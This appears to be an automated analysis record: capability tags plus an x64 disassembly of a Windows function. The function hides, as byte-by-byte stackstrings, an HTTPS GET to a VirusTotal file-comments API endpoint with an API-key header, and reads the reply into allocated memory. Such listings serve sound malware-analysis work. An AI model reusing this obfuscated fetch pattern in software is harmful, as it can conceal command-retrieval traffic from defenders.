Function at 0x140011181
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
jmp 0x140011a30
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1c78
call fcn.1400110be
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x58e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c98]
mov rax, qword [0x140021200]
xor rax, rbp
mov qword [rbp + 0x1c28], rax
lea rcx, [0x1400280a4]
call fcn.140011438
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_74.0.3729.169_Safari_537.36
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011ac0
lea rcx, str.Failed_in_InternetOpenA
call fcn.1400112df
jmp 0x140011f6e
mov byte [rbp + 0x28], 0x77
mov byte [rbp + 0x29], 0x77
mov byte [rbp + 0x2a], 0x77
mov byte [rbp + 0x2b], 0x2e
mov byte [rbp + 0x2c], 0x76
mov byte [rbp + 0x2d], 0x69
mov byte [rbp + 0x2e], 0x72
mov byte [rbp + 0x2f], 0x75
mov byte [rbp + 0x30], 0x73
mov byte [rbp + 0x31], 0x74
mov byte [rbp + 0x32], 0x6f
mov byte [rbp + 0x33], 0x74
mov byte [rbp + 0x34], 0x61
mov byte [rbp + 0x35], 0x6c
mov byte [rbp + 0x36], 0x2e
mov byte [rbp + 0x37], 0x63
mov byte [rbp + 0x38], 0x6f
mov byte [rbp + 0x39], 0x6d
mov byte [rbp + 0x3a], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x140011b60
lea rcx, str.Failed_in_InternetConnectA
call fcn.1400112df
jmp 0x140011f6e
mov byte [rbp + 0x74], 0x2a
mov byte [rbp + 0x75], 0x2f
mov byte [rbp + 0x76], 0x2a
mov byte [rbp + 0x77], 0
lea rax, [rbp + 0x74]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], 0
mov byte [rbp + 0xc4], 0x47
mov byte [rbp + 0xc5], 0x45
mov byte [rbp + 0xc6], 0x54
mov byte [rbp + 0xc7], 0
mov r8d, 0x3e8
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.140011357
mov byte [rbp + 0x4f8], 0x61
mov byte [rbp + 0x4f9], 0x70
mov byte [rbp + 0x4fa], 0x69
mov byte [rbp + 0x4fb], 0x2f
mov byte [rbp + 0x4fc], 0x76
mov byte [rbp + 0x4fd], 0x33
mov byte [rbp + 0x4fe], 0x2f
mov byte [rbp + 0x4ff], 0x66
mov byte [rbp + 0x500], 0x69
mov byte [rbp + 0x501], 0x6c
mov byte [rbp + 0x502], 0x65
mov byte [rbp + 0x503], 0x73
mov byte [rbp + 0x504], 0x2f
mov byte [rbp + 0x505], 0
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0x1c58]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [rbp + 0x528], 0x2f
mov byte [rbp + 0x529], 0x63
mov byte [rbp + 0x52a], 0x6f
mov byte [rbp + 0x52b], 0x6d
mov byte [rbp + 0x52c], 0x6d
mov byte [rbp + 0x52d], 0x65
mov byte [rbp + 0x52e], 0x6e
mov byte [rbp + 0x52f], 0x74
mov byte [rbp + 0x530], 0x73
mov byte [rbp + 0x531], 0x3f
mov byte [rbp + 0x532], 0x6c
mov byte [rbp + 0x533], 0x69
mov byte [rbp + 0x534], 0x6d
mov byte [rbp + 0x535], 0x69
mov byte [rbp + 0x536], 0x74
mov byte [rbp + 0x537], 0x3d
mov byte [rbp + 0x538], 0x31
mov byte [rbp + 0x539], 0
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x4800000
lea rax, [rbp + 0x98]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0xc4]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
jne 0x140011d35
lea rcx, str.Failed_in_HttpOpenRequestA
call fcn.1400112df
jmp 0x140011f6e
mov r8d, 0xfa0
xor edx, edx
lea rcx, [rbp + 0x580]
call fcn.140011357
mov byte [rbp + 0x1538], 0x61
mov byte [rbp + 0x1539], 0x63
mov byte [rbp + 0x153a], 0x63
mov byte [rbp + 0x153b], 0x65
mov byte [rbp + 0x153c], 0x70
mov byte [rbp + 0x153d], 0x74
mov byte [rbp + 0x153e], 0x3a
mov byte [rbp + 0x153f], 0x20
mov byte [rbp + 0x1540], 0x61
mov byte [rbp + 0x1541], 0x70
mov byte [rbp + 0x1542], 0x70
mov byte [rbp + 0x1543], 0x6c
mov byte [rbp + 0x1544], 0x69
mov byte [rbp + 0x1545], 0x63
mov byte [rbp + 0x1546], 0x61
mov byte [rbp + 0x1547], 0x74
mov byte [rbp + 0x1548], 0x69
mov byte [rbp + 0x1549], 0x6f
mov byte [rbp + 0x154a], 0x6e
mov byte [rbp + 0x154b], 0x2f
mov byte [rbp + 0x154c], 0x6a
mov byte [rbp + 0x154d], 0x73
mov byte [rbp + 0x154e], 0x6f
mov byte [rbp + 0x154f], 0x6e
mov byte [rbp + 0x1550], 0xd
mov byte [rbp + 0x1551], 0xa
mov byte [rbp + 0x1552], 0x78
mov byte [rbp + 0x1553], 0x2d
mov byte [rbp + 0x1554], 0x61
mov byte [rbp + 0x1555], 0x70
mov byte [rbp + 0x1556], 0x69
mov byte [rbp + 0x1557], 0x6b
mov byte [rbp + 0x1558], 0x65
mov byte [rbp + 0x1559], 0x79
mov byte [rbp + 0x155a], 0x3a
mov byte [rbp + 0x155b], 0x20
mov byte [rbp + 0x155c], 0
lea rdx, [rbp + 0x1538]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0x1c50]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rbp + 0x1574], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rbp + 0x1574]
lea rdx, [rbp + 0x580]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0x1594], eax
cmp dword [rbp + 0x1594], 0
jne 0x140011ecd
lea rcx, str.Failed_in_HttpSendRequestA
call fcn.1400112df
jmp 0x140011f6e
mov dword [rbp + 0x15b4], 1
mov dword [rbp + 0x15d4], 0x186a0
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x186a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x15f8], rax
mov dword [rbp + 0x1614], 0xffffffff
cmp dword [rbp + 0x15b4], 0
je 0x140011f46
cmp dword [rbp + 0x1614], 0
je 0x140011f46
lea r9, [rbp + 0x1614]
mov r8d, 0x186a0
mov rdx, qword [rbp + 0x15f8]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov dword [rbp + 0x15b4], eax
jmp 0x140011f0b
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rbp + 0x15f8]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d560]
call fcn.1400113b1
mov rax, rdi
mov rcx, qword [rbp + 0x1c28]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x1c38]
pop rdi
pop rbp
ret